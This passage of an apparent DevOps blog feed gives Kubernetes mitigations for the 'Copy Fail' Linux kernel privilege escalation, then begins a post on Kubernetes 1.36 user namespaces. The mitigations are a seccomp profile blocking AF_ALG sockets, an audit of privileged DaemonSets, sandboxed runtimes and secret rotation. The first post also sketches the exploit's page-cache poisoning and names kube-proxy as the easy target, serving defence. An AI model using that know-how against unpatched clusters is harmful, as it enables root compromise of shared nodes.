<h3 id="h3-2-block-af_alg-with-a-custom-seccomp-profile" class="group relative scroll-mt-24">
        <a href="#h3-2-block-af_alg-with-a-custom-seccomp-profile" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Block AF_ALG with a custom seccomp profile
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-block-af_alg-with-a-custom-seccomp-profile"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A custom <code>Localhost</code> seccomp profile that denies <code>socket(AF_ALG, ...)</code> blocks the syscall path the exploit needs. This is your &quot;in the meantime&quot; mitigation while you wait for the kernel patch to roll across all your nodes.</p>
<p>Save this as <code>/var/lib/kubelet/seccomp/no-af-alg.json</code> on every node:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;defaultAction&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;SCMP_ACT_ALLOW&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;architectures&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;SCMP_ARCH_X86_64&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;SCMP_ARCH_X86&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;SCMP_ARCH_X32&quot;</span><span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;syscalls&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;names&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;socket&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;socketpair&quot;</span><span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;action&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;SCMP_ACT_ERRNO&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;errnoRet&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">1</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;args&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
        <span class="hljs-punctuation">{</span>
          <span class="hljs-attr">&quot;index&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">0</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;value&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">38</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;op&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;SCMP_CMP_EQ&quot;</span>
        <span class="hljs-punctuation">}</span>
      <span class="hljs-punctuation">]</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">]</span>
<span class="hljs-punctuation">}</span>
</code></pre><p><code>38</code> is <code>AF_ALG</code>. The <code>SCMP_ACT_ERRNO</code> action returns <code>EPERM</code> to the caller, which is what you want: the exploit&#39;s <code>bind()</code> will fail before it can begin the splice race.</p>
<p>Apply it to your workloads with a pod spec like this:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Pod</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">app</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">securityContext:</span>
    <span class="hljs-attr">seccompProfile:</span>
      <span class="hljs-attr">type:</span> <span class="hljs-string">Localhost</span>
      <span class="hljs-attr">localhostProfile:</span> <span class="hljs-literal">no</span><span class="hljs-string">-af-alg.json</span>
  <span class="hljs-attr">containers:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">app</span>
      <span class="hljs-attr">image:</span> <span class="hljs-string">your-image:tag</span>
</code></pre><p>For org-wide rollout, plug it into your admission controller (Kyverno, OPA Gatekeeper, or Pod Security Standards via <code>seccompProfile.type=Localhost</code>) so pods cannot be scheduled without it.</p>
<h3 id="h3-3-audit-your-privileged-daemonsets" class="group relative scroll-mt-24">
        <a href="#h3-3-audit-your-privileged-daemonsets" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Audit your privileged DaemonSets
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-audit-your-privileged-daemonsets"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Copy Fail needs a privileged process that re-reads a file from the page cache after corruption. On a stock Kubernetes node, <code>kube-proxy</code> running <code>ipset</code> is the easy target. Take a pass over every DaemonSet in <code>kube-system</code> and your platform namespaces:</p>
<pre><code class="hljs language-bash">kubectl get daemonsets --all-namespaces -o json \
  | jq -r <span class="hljs-string">&#x27;.items[] | select(.spec.template.spec.containers[]?.securityContext.privileged == true)
           | &quot;\(.metadata.namespace)/\(.metadata.name)&quot;&#x27;</span>
</code></pre><p>For each one:</p>
<ul>
<li>Identify which host binaries it executes.</li>
<li>Decide whether it actually needs <code>privileged: true</code> or whether targeted capabilities would do.</li>
<li>Where you can, run those binaries from the container image rather than the host filesystem so a host-side page-cache poison cannot reach them.</li>
</ul>
<h3 id="h3-4-tighten-image-layer-overlap-on-shared-nodes" class="group relative scroll-mt-24">
        <a href="#h3-4-tighten-image-layer-overlap-on-shared-nodes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Tighten image-layer overlap on shared nodes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-tighten-image-layer-overlap-on-shared-nodes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The PoC works because base layers are deduplicated. Two pods running the same image share the same physical page in the kernel&#39;s page cache. A poison from one pod is what the other pod reads.</p>
<p>Multi-tenancy mitigations that already help here:</p>
<ul>
<li>Run untrusted workloads in their own node pool with sandboxing (gVisor, Kata, Firecracker). All three move the kernel out of reach.</li>
<li>Pin sensitive privileged DaemonSets to dedicated nodes with <code>nodeSelector</code> and taints, so pods from less trusted namespaces never share a node with them.</li>
<li>For high-blast-radius nodes (control plane, ingress, Vault, secrets operators), set <code>spec.runtimeClassName</code> to a sandboxed runtime class.</li>
</ul>
<h3 id="h3-5-rotate-node-bound-secrets-if-you-found-iocs" class="group relative scroll-mt-24">
        <a href="#h3-5-rotate-node-bound-secrets-if-you-found-iocs" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          5. Rotate node-bound secrets if you found IoCs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-5-rotate-node-bound-secrets-if-you-found-iocs"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If a node looked compromised, treat anything that has been on it as exposed:</p>
<ul>
<li><input disabled="" type="checkbox"> Service account tokens mounted into pods on the node</li>
<li><input disabled="" type="checkbox"> kubelet client certificate</li>
<li><input disabled="" type="checkbox"> Secrets mounted as volumes in any pod scheduled on that node</li>
<li><input disabled="" type="checkbox"> Cloud instance role credentials (force a new instance, do not just rotate the role)</li>
<li><input disabled="" type="checkbox"> etcd certificates if the node was a control-plane node</li>
</ul>
<h2 id="h2-why-this-matters-for-devops-teams" class="group relative scroll-mt-24">
        <a href="#h2-why-this-matters-for-devops-teams" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why This Matters for DevOps Teams
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-this-matters-for-devops-teams"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A few things stand out about Copy Fail beyond the immediate CVE:</p>
<p><strong>Default seccomp is a marketing default, not a security default.</strong> &quot;We use runtime-default seccomp&quot; is something most teams have written into their compliance docs. Copy Fail is the latest demonstration that this profile is permissive by design, not restrictive. AF_ALG joins a small list of network families that pop up in CVE write-ups every few years. Build a habit of layering a custom profile that blocks what you do not need.</p>
<p><strong>Page-cache sharing is a multi-tenancy boundary you probably forgot existed.</strong> The kernel&#39;s page cache is shared, and that sharing is what turns a 4-byte write into a privilege escalation. If you treat every node as a single security domain, your blast radius is &quot;the entire node and every pod on it&quot; the moment any pod gets the kernel to misbehave. Sandboxed runtimes are no longer a niche concern.</p>
<p><strong>Your privileged DaemonSets are the targets.</strong> <code>kube-proxy</code>, CSI drivers, CNI plugins, log collectors, monitoring agents. The pattern is the same: a high-privilege process re-reading a file from the page cache. Take inventory, and prefer images that ship their own copies of any binary they execute.</p>
<p><strong>Kernel CVEs are part of the platform team&#39;s job again.</strong> For most of the container era, &quot;the kernel&quot; was a thing the cloud handled for you. Copy Fail is a reminder that the kernel sits underneath every abstraction you have built, and that an unpatched node&#39;s exposure is not bounded by your application security posture.</p>
<h2 id="h2-key-takeaways" class="group relative scroll-mt-24">
        <a href="#h2-key-takeaways" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Key Takeaways
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-key-takeaways"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ol>
<li><strong>Patch the host kernel.</strong> The mainline fix is <code>a664bf3d603d</code>. Until it lands, every Linux node is exposed.</li>
<li><strong>Drop a custom seccomp profile that blocks <code>socket(AF_ALG, ...)</code>.</strong> Do not assume <code>runtime-default</code> or PSS Restricted has you covered.</li>
<li><strong>Audit privileged DaemonSets.</strong> They are the targets that turn a 4-byte write into root.</li>
<li><strong>Run untrusted workloads on sandboxed runtimes</strong> (gVisor, Kata, Firecracker) on dedicated node pools.</li>
<li><strong>Rotate node-scoped secrets</strong> if you find evidence of compromise.</li>
<li><strong>Layer your defenses.</strong> Kernel patch + custom seccomp + sandboxed runtimes + pinned privileged DaemonSets is the picture, not any one of those alone.</li>
</ol>
<p>The 4-byte write is the easy part to fix. The page-cache sharing it exploits is going to be there for a long time.</p>
<p><em>Sources: <a href="https://www.microsoft.com/en-us/security/blog/2026/05/01/cve-2026-31431-copy-fail-vulnerability-enables-linux-root-privilege-escalation/">Microsoft Security Blog</a>, <a href="https://www.wiz.io/blog/copyfail-cve-2026-31431-linux-privilege-escalation-vulnerability">Wiz</a>, <a href="https://juliet.sh/blog/we-tested-copy-fail-in-kubernetes-pss-restricted-runtime-default-af-alg">juliet.sh</a>, <a href="https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kubernetes-PoC">Kubernetes PoC repo</a>, <a href="https://blog.ovhcloud.com/copy-fail-cve-2026-31431-how-to-rapidly-protect-ovhcloud-mks-clusters-from-the-linux-kernel-zero-day/">OVHcloud</a></em></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Kubernetes 1.36 Ships User Namespaces GA and Pod-Level In-Place Resize]]></title>
      <link>https://devops.anhp.site/posts/kubernetes-1-36-user-namespaces-pod-resize</link>
      <description><![CDATA[Kubernetes 1.36 "Haru" landed on April 22, 2026. Two changes matter most for production: user namespaces graduated to stable, and pod-level CPU and memory can now be resized in place without restarting. Here is what each one does, the kubelet and runtime requirements, and how to enable them safely.]]></description>
      <pubDate>Sat, 02 May 2026 10:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/kubernetes-1-36-user-namespaces-pod-resize</guid>
      <category><![CDATA[Kubernetes]]></category>
      
      <category><![CDATA[kubernetes]]></category><category><![CDATA[security]]></category><category><![CDATA[user-namespaces]]></category><category><![CDATA[pod-resize]]></category><category><![CDATA[cgroup-v2]]></category><category><![CDATA[release-notes]]></category>
      <content:encoded><![CDATA[<p>Kubernetes <strong>1.36 &quot;Haru&quot;</strong> shipped on April 22, 2026 with 80 tracked enhancements: 18 graduating to stable, 18 graduating to beta, and 26 brand new alpha features. Most of the release reads like normal cleanup work, but two changes are worth treating as production milestones rather than line items in the release notes.</p>
<p>The first is <strong>user namespaces graduating to stable</strong>. The kernel feature has existed for years, the Kubernetes integration has been in alpha or beta since 1.25, and 1.36 is the version that finally promises API stability. With user namespaces enabled, a process running as root inside a container is mapped to an unprivileged user on the host. That single primitive defangs an entire class of container escape CVEs.</p>
<p>The second is <strong>in-place vertical scaling for pod-level resources, now in beta and on by default</strong>. You could already resize individual containers in 1.35; in 1.36 you can resize the aggregate CPU and memory cap defined at the pod level, without recreating the pod. The combination unlocks proper VPA-style autoscaling that doesn&#39;t churn pods every time a recommendation changes.</p>
<p>This post walks through both features: what they do, the kernel and runtime requirements, the trade-offs, and the YAML you&#39;d actually deploy.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TL;DR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li><strong>User namespaces</strong> went GA. Set <code>spec.hostUsers: false</code> on a pod and the container&#39;s root maps to a non-privileged UID on the node. Mitigates a real list of past CVEs.</li>
<li><strong>Pod-level in-place resize</strong> went beta and is enabled by default. <code>kubectl patch --subresource resize</code> updates the pod&#39;s aggregate <code>spec.resources</code> without restarting it.</li>
<li>Both depend on <strong>cgroup v2</strong> and a recent kernel. User namespaces additionally need <strong>idmap mounts</strong> support on the volume backing <code>/var/lib/kubelet/pods/</code>.</li>
<li>Container runtime must speak the <strong><code>UpdateContainerResources</code> CRI call</strong> (containerd 2.0+, CRI-O recent enough, runc 1.2+).</li>
</ul>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>A cluster on Kubernetes 1.36 (or 1.35 with <code>UserNamespacesSupport</code> and <code>InPlacePodVerticalScaling</code> feature gates on for the older subset).</li>
<li>Linux kernel ≥ 6.3 on every node where you want user namespaces to work, and an <code>idmap mounts</code> capable filesystem under <code>/var/lib/kubelet/pods/</code> (ext4, xfs, btrfs, tmpfs all qualify on recent kernels).</li>
<li>cgroup v2 unified hierarchy. Most modern distros default to it; if you&#39;re still on cgroup v1 the pod-level resize won&#39;t enforce limits correctly.</li>
<li><code>kubectl</code> ≥ v1.32.0 for the <code>--subresource resize</code> patch path.</li>
</ul>
<h2 id="h2-user-namespaces-what-changed-at-ga" class="group relative scroll-mt-24">
        <a href="#h2-user-namespaces-what-changed-at-ga" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          User namespaces: what changed at GA
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-user-namespaces-what-changed-at-ga"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Container runtimes have always been able to launch a process under a remapped UID, but Kubernetes did not expose that to pods in a stable way. Until 1.36 you set the feature gate, accepted alpha-quality breakage, and hoped your CSI driver played along with idmapped mounts.</p>
<p>At GA, three things are different:</p>
<ol>
<li><strong><code>spec.hostUsers: false</code> is a stable API field.</strong> It was already there in beta, but the contract is now frozen and kubelet&#39;s behavior is the same across minor versions.</li>
<li><strong>Idmap mounts are mandatory and well-supported.</strong> The kubelet remounts each pod volume with a UID/GID shift so files written by container-root land on disk owned by the remapped non-root UID. ConfigMaps, Secrets, downward API volumes, and emptyDir all work; raw block volumes (<code>volumeDevices</code>) and volumes that don&#39;t support idmap mounts will fail the pod.</li>
<li><strong>The mitigation list is real.</strong> The kubelet team <a href="https://kubernetes.io/blog/2026/04/23/kubernetes-v1-36-userns-ga/">enumerated a set of high/critical CVEs</a> that wouldn&#39;t have been exploitable with user namespaces on, mostly variants of &quot;container process pivots out via a host-privileged syscall&quot;. This is the headline reason to flip it on rather than wait for the next CVE.</li>
</ol>
<h3 id="h3-minimum-example" class="group relative scroll-mt-24">
        <a href="#h3-minimum-example" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Minimum example
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-minimum-example"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Pod</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">userns-demo</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">hostUsers:</span> <span class="hljs-literal">false</span>
  <span class="hljs-attr">containers:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">shell</span>
      <span class="hljs-attr">image:</span> <span class="hljs-string">debian:bookworm-slim</span>
      <span class="hljs-attr">command:</span> [<span class="hljs-string">&quot;sleep&quot;</span>, <span class="hljs-string">&quot;infinity&quot;</span>]
</code></pre><p>Inside the container, <code>id</code> will report <code>uid=0(root)</code>. From a debug shell on the node, <code>ps -ef</code> for that PID will show a non-zero, non-host UID, typically something in the 65536+ range mapped per-pod. A <code>cat /proc/&lt;pid&gt;/uid_map</code> on the host shows the mapping range.</p>
<h3 id="h3-what-you-cant-do-with-hostusers-false" class="group relative scroll-mt-24">
        <a href="#h3-what-you-cant-do-with-hostusers-false" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What you can't do with hostUsers: false
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-you-cant-do-with-hostusers-false"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The API explicitly rejects pods that mix user namespaces with any of the other host namespaces. If you need any of these, you&#39;ll have to pick:</p>
<ul>
<li><code>hostNetwork: true</code></li>
<li><code>hostPID: true</code></li>
<li><code>hostIPC: true</code></li>
<li><code>volumeDevices: [...]</code> (raw block volumes)</li>
<li>containers that mount host paths the kubelet cannot idmap</li>
</ul>
<p>For a typical web service this list is uncontroversial. For privileged DaemonSets (CNI plugins, node-exporter, eBPF agents) you&#39;ll likely keep them on host namespaces and rely on PodSecurity admission to scope the blast radius the old way.</p>
<h3 id="h3-rollout-pattern" class="group relative scroll-mt-24">
        <a href="#h3-rollout-pattern" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Rollout pattern
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-rollout-pattern"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The kubelet doesn&#39;t automatically opt every workload in; you set <code>hostUsers: false</code> per pod template. A reasonable rollout sequence:</p>
<ol>
<li>Pick one stateless deployment in staging. Add <code>hostUsers: false</code>. Confirm the pod schedules, the volumes mount, and the app reads its ConfigMap.</li>
<li>Spot-check <code>crictl inspect &lt;containerID&gt;</code> on the node and verify the runtime reports the user namespace mapping.</li>
<li>Roll the same change to a low-blast-radius prod workload (a doc site, a webhook receiver) before going broader.</li>
<li>PSAA or Kyverno policy enforcement comes last. Once you have evidence multiple workloads work without surprises, you can codify &quot;no <code>hostUsers: true</code> for new pods unless explicitly waived&quot;.</li>
</ol>
<h2 id="h2-pod-level-in-place-resize-whats-actually-new" class="group relative scroll-mt-24">
        <a href="#h2-pod-level-in-place-resize-whats-actually-new" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Pod-level in-place resize: what's actually new
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-pod-level-in-place-resize-whats-actually-new"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Per-container resize landed in 1.33 alpha and graduated through 1.35. In 1.36 the resize subresource also accepts changes to <strong><code>spec.resources</code></strong>, the pod-level aggregate that 1.32 introduced as an upper bound on the sum of container limits.</p>
<p>The semantics matter: pod-level resources are enforced at the pod&#39;s cgroup, not by the application runtime inside containers. That&#39;s why this resize never restarts the pod: bumping the pod-level cgroup memory limit is just a <code>cgroup.memory.max</code> write to a file that already exists. There&#39;s nothing to coordinate with the application.</p>
<h3 id="h3-pod-with-both-per-container-and-pod-level-resources" class="group relative scroll-mt-24">
        <a href="#h3-pod-with-both-per-container-and-pod-level-resources" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Pod with both per-container and pod-level resources
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pod-with-both-per-container-and-pod-level-resources"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Pod</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">pod-resize-demo</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">containers:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">app</span>
      <span class="hljs-attr">image:</span> <span class="hljs-string">ghcr.io/example/app:1.0</span>
      <span class="hljs-attr">resources:</span>
